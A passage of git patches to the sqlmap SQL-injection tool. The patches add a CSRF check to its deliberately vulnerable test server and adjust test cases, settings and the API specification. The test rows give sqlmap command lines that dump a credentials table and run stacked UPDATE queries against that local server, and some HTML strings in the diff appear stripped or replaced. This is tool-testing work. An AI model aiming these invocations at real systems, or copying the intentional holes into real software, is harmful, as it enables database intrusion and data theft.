insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 4ce657d6356..03af5d49c6c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -172,7 +172,7 @@ ccec2373f6393f3d644db3de2910e17ef705817063c03e7ca4417f9d7f622527 lib/controller a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -421509c42dab738d908f2453cbdd6eb75eb672a7b6de68bee8c95d867fac79f1 lib/core/datatype.py +e396b7971d38896e0e20b973a3a6a3fbc3171d080a21bc6e66a65bee452fd69c lib/core/datatype.py 35e99a327a357e22dcbcd5229a347102dfc58ff8105b420afdeffc8236a9ecf4 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 86fa0ffa7a3e7a7141eab730e3981faf6f0249125ea9a29a57aaa8b65b7503f9 lib/core/dicts.py @@ -189,7 +189,7 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -380583d6509ab7552196c03b86bf14910d8f9f1a01400667b5abf123409d913d lib/core/settings.py +73270d228b087c53d7f948185bf4962462859280a89811bbe39e1a3b9c0ba481 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -209,7 +209,7 @@ c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/hand 4ca378496510a02c0184b45107889625dc7faf459073e83b3520c66674049af4 lib/parse/payloads.py 80d26a30abe948faf817a14f746cc8b3e2341ea8286830cccaae253b8ac0cdff lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py -7302c38b8b418530a988b0294d09f0a9a08b7b35bc488956fee491a6dd88b2d1 lib/request/basic.py +a63147dff1fd4675c800122768d9d6564ef4b2f8f8d57abc2799c6bfe7a52c48 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py 626bb6f3316a906a4629c0feb8ecbbcf473fb59e5bc532603c35b6b8f63f1deb lib/request/connect.py diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 0e2866c84a0..2e31542c266 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -170,7 +170,7 @@ def __setitem__(self, key, value): except KeyError: if len(self.cache) >= self.capacity: self.cache.popitem(last=False) - self.cache[key] = value + self.cache[key] = value def set(self, key, value): self.__setitem__(key, value) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1a9c5c02c4d..5d1ce09ca47 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.14" +VERSION = "1.10.1.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 3154f30de8c..ef8a6d2cd49 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -259,8 +259,11 @@ def getHeuristicCharEncoding(page): """ key = (len(page), hash(page)) - retVal = kb.cache.encoding[key] if key in kb.cache.encoding else detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"] - kb.cache.encoding[key] = retVal + + retVal = kb.cache.encoding.get(key) + if retVal is None: + retVal = detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"] + kb.cache.encoding[key] = retVal if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""): infoMsg = "heuristics detected web page charset '%s'" % retVal From 65ce6ba4c9da6bfd4424e915747e442e8c3b0b62 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 Jan 2026 23:31:40 +0100 Subject: [PATCH 017/135] Implementing CSRF case into vuln testing --- data/txt/sha256sums.txt | 6 +++--- extra/vulnserver/vulnserver.py | 28 ++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- lib/core/testing.py | 1 + 4 files changed, 33 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 03af5d49c6c..fb985c8c792 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,7 +160,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -0389d8b2248c6c03a215c85adbc0c84227bfe1e3f88ec279a89f59e1225138fe extra/vulnserver/vulnserver.py +d2c300dc997a2cb009376c4ce85f84aa63314ea7f72825c5d6cc10df55918586 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py 460d3da652b8f55c9eaf0f90be33eddf3355355e5c5b1c98b7fc4d83b1c54fda lib/controller/checks.py 430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py @@ -189,11 +189,11 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -73270d228b087c53d7f948185bf4962462859280a89811bbe39e1a3b9c0ba481 lib/core/settings.py +64fe31066194ca17a5d829df35947ad68868c8cafd77239debbcc5ec7cfb3c32 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py -bfe2e998fd43498c8682763d77403d9b44600b4e3fb43b44cfa598c7a8a745c2 lib/core/testing.py +03d877d056791cab2de9a9765b9c79f37c1887e509f6b0ceebc9be713853b21c lib/core/testing.py cf4dca323645d623109a82277a8e8a63eb9abb3fff6c8a57095eb171c1ef91b3 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b lib/core/update.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 3ad6c4567aa..da97dc38ac2 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -11,8 +11,10 @@ import base64 import json +import random import re import sqlite3 +import string import sys import threading import traceback @@ -73,11 +75,15 @@ _lock = None _server = None _alive = False +_csrf_token = None def init(quiet=False): global _conn global _cursor global _lock + global _csrf_token + + _csrf_token = "".join(random.sample(string.ascii_letters + string.digits, 20)) _conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) _cursor = _conn.cursor() @@ -142,6 +148,28 @@ def do_REQUEST(self): self.url, self.params = path, params + if self.url == "/csrf": + if self.params.get("csrf_token") == _csrf_token: + self.url = "/" + else: + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.end_headers() + + form = ( + "" + "CSRF protection check
" + "
" + "" + "id: " + "" + "
" + "" + ) % _csrf_token + + self.wfile.write(form.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5d1ce09ca47..89e33fe5505 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.15" +VERSION = "1.10.1.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 305ded0d7af..855df51cb03 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -75,6 +75,7 @@ def vulnTest(): ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5,foobar,nameisnull", "'987654321'",)), + ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) From e2534b3c3667b2d3ee556759135e5176ea428292 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 Jan 2026 23:47:06 +0100 Subject: [PATCH 018/135] Adding test check for --titles --- data/txt/sha256sums.txt | 8 ++++---- extra/vulnserver/vulnserver.py | 7 ++++++- lib/controller/checks.py | 4 ++-- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- 5 files changed, 14 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index fb985c8c792..6adaf8abf81 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,9 +160,9 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -d2c300dc997a2cb009376c4ce85f84aa63314ea7f72825c5d6cc10df55918586 extra/vulnserver/vulnserver.py +3b7faa3539d0cd95554252653c1386fb4140a4fd26a4b7a5c7a63497d06d1a82 extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py -460d3da652b8f55c9eaf0f90be33eddf3355355e5c5b1c98b7fc4d83b1c54fda lib/controller/checks.py +e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller/checks.py 430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py ccec2373f6393f3d644db3de2910e17ef705817063c03e7ca4417f9d7f622527 lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py @@ -189,11 +189,11 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -64fe31066194ca17a5d829df35947ad68868c8cafd77239debbcc5ec7cfb3c32 lib/core/settings.py +4f67c84d67dd2be162bb5e56a9382626f6b4e398a6d60486d0fd13c487da30bc lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py -03d877d056791cab2de9a9765b9c79f37c1887e509f6b0ceebc9be713853b21c lib/core/testing.py +977d35393bb398419eff971a0d220dd55bc63762dcaed8cd2692c6422570e59e lib/core/testing.py cf4dca323645d623109a82277a8e8a63eb9abb3fff6c8a57095eb171c1ef91b3 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b lib/core/update.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index da97dc38ac2..47a71a602e0 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -178,7 +178,7 @@ def do_REQUEST(self): self.end_headers() self.wfile.write(b"Codestin Search App

GET:

link

POST:

ID:
") else: - code, output = OK, "" + code, output = OK, "" try: if self.params.get("echo", ""): @@ -216,6 +216,11 @@ def do_REQUEST(self): else: output += "no results found" + if not results: + output = "Codestin Search App" + output + else: + output = "Codestin Search App" + output + output += "" except Exception as ex: code = INTERNAL_SERVER_ERROR diff --git a/lib/controller/checks.py b/lib/controller/checks.py index d531a1a2b49..4fa6d524933 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -554,7 +554,7 @@ def genCmpPayload(): injectable = True - elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n")) trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n")) falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n")) @@ -580,7 +580,7 @@ def genCmpPayload(): break if injectable: - if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode: suggestion = conf.code = trueCode diff --git a/lib/core/settings.py b/lib/core/settings.py index 89e33fe5505..0c8b00b3f7e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.16" +VERSION = "1.10.1.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 855df51cb03..ab3d503ca18 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -43,7 +43,7 @@ def vulnTest(): ("-u --data=\"reflect=1\" --flush-session --wizard --disable-coloring", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), ("-u --data=\"code=1\" --code=200 --technique=B --banner --no-cast --flush-session", ("back-end DBMS: SQLite", "banner: '3.", "~COALESCE(CAST(")), (u"-c --flush-session --output-dir=\"\" --smart --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible", "as the output directory")), - (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)), + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --titles --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'", "~with --string",)), ("-m --flush-session --technique=B --banner", ("/3] URL:", "back-end DBMS: SQLite", "banner: '3.")), ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), ("-u \"&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)), From 363a405fa040eda21d9211de6de95fee3421ec6b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 Jan 2026 23:59:47 +0100 Subject: [PATCH 019/135] Minor update --- data/txt/sha256sums.txt | 6 +++--- extra/vulnserver/vulnserver.py | 4 ++-- lib/core/settings.py | 2 +- lib/core/testing.py | 4 ++-- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 6adaf8abf81..223810dc50b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -160,7 +160,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -3b7faa3539d0cd95554252653c1386fb4140a4fd26a4b7a5c7a63497d06d1a82 extra/vulnserver/vulnserver.py +6ce9405808514d27e7600c4d37f0bacca99205df732f1319170efffccb1ee1ad extra/vulnserver/vulnserver.py b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller/checks.py 430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py @@ -189,11 +189,11 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4f67c84d67dd2be162bb5e56a9382626f6b4e398a6d60486d0fd13c487da30bc lib/core/settings.py +cb2c26272e56488b28713fd56ca64809d73cae3685bda26e66ef36e8d0fc4599 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py -977d35393bb398419eff971a0d220dd55bc63762dcaed8cd2692c6422570e59e lib/core/testing.py +3167680c58037217ae1a0c4f65d278dbe5d72c8837ed209c725451670dde53ae lib/core/testing.py cf4dca323645d623109a82277a8e8a63eb9abb3fff6c8a57095eb171c1ef91b3 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b lib/core/update.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 47a71a602e0..fd38763ad1f 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -52,8 +52,8 @@ INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming'); - INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (https://sqlmap.org)', 'user agent header'); - INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull'); + INSERT INTO users (id, name, surname) VALUES (4, NULL, 'nameisnull'); + INSERT INTO users (id, name, surname) VALUES (5, 'sqlmap/1.0-dev (https://sqlmap.org)', 'user agent header'); CREATE TABLE creds ( user_id INTEGER, diff --git a/lib/core/settings.py b/lib/core/settings.py index 0c8b00b3f7e..a521df7c0ea 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.17" +VERSION = "1.10.1.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index ab3d503ca18..c6641911d0e 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -62,7 +62,7 @@ def vulnTest(): ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), - ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), + ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 5")), ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), @@ -74,7 +74,7 @@ def vulnTest(): ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), - ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5,foobar,nameisnull", "'987654321'",)), + ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session", ("back-end DBMS: SQLite", "banner: '3.")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) From 7bc3741a4844b7c7450ba18a6ad3425e87351d01 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 9 Jan 2026 00:08:03 +0100 Subject: [PATCH 020/135] Minor patch --- data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- sqlmapapi.yaml | 146 +++++++++++++++++++++++++++------------- 3 files changed, 103 insertions(+), 49 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 223810dc50b..a9782a33081 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ f5272cda54f7cdd07fb6154d5a1ed1f1141a2a4f39b6a85d3f325fd60ac8dc9a lib/core/enums 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -cb2c26272e56488b28713fd56ca64809d73cae3685bda26e66ef36e8d0fc4599 lib/core/settings.py +3b56bc9e795809f99cf502cc0f0c1c5b046f03720a6fd43192add592c5e90fdd lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -478,7 +478,7 @@ eb45fd711efa71ab9d91d815cc8abebc9abc4770311fbb827159008b000f4fc2 plugins/generi 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 plugins/__init__.py 423d9bfaddb3cf527d02ddda97e53c4853d664c51ef7be519e4f45b9e399bc30 README.md c6ad39bfd1810413402dedfc275fc805fa13f85fc490e236c1e725bde4e5100b sqlmapapi.py -168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml +4e993cfe2889bf0f86ad0abafd9a6a25849580284ea279b2115e99707e14bb97 sqlmapapi.yaml a40607ce164eb2d21865288d24b863edb1c734b56db857e130ac1aef961c80b9 sqlmap.conf e9d3d52d4c0698b956cc0dc92c177d432b1f97c5918f750baa3e737de4ae574b sqlmap.py eb37a88357522fd7ad00d90cdc5da6b57442b4fec49366aadb2944c4fbf8b804 tamper/0eunion.py diff --git a/lib/core/settings.py b/lib/core/settings.py index a521df7c0ea..1fe297e88ff 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.18" +VERSION = "1.10.1.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmapapi.yaml b/sqlmapapi.yaml index 999cdddff6b..16641c24d8d 100644 --- a/sqlmapapi.yaml +++ b/sqlmapapi.yaml @@ -37,6 +37,106 @@ paths: success: type: boolean example: true + /task/{taskid}/delete: + get: + description: Delete an existing task + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + example: true + /option/{taskid}/list: + get: + description: List options for a given task ID + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + example: true + options: + type: array + items: + type: object + /option/{taskid}/get: + post: + description: Get value of option(s) for a certain task ID + parameters: + - in: path + name: taskid + required: true + schema: + type: string + requestBody: + content: + application/json: + schema: + type: array + items: + type: string + example: ["url", "cookie"] + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + options: + type: object + /option/{taskid}/set: + post: + description: Set value of option(s) for a certain task ID + parameters: + - in: path + name: taskid + required: true + schema: + type: string + requestBody: + content: + application/json: + schema: + type: object + example: {"cookie": "id=1"} + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean /scan/{taskid}/start: post: description: Launch a scan @@ -120,31 +220,6 @@ paths: success: type: boolean example: true - /scan/{taskid}/list: - get: - description: List options for a given task ID - parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID - responses: - '200': - description: OK - 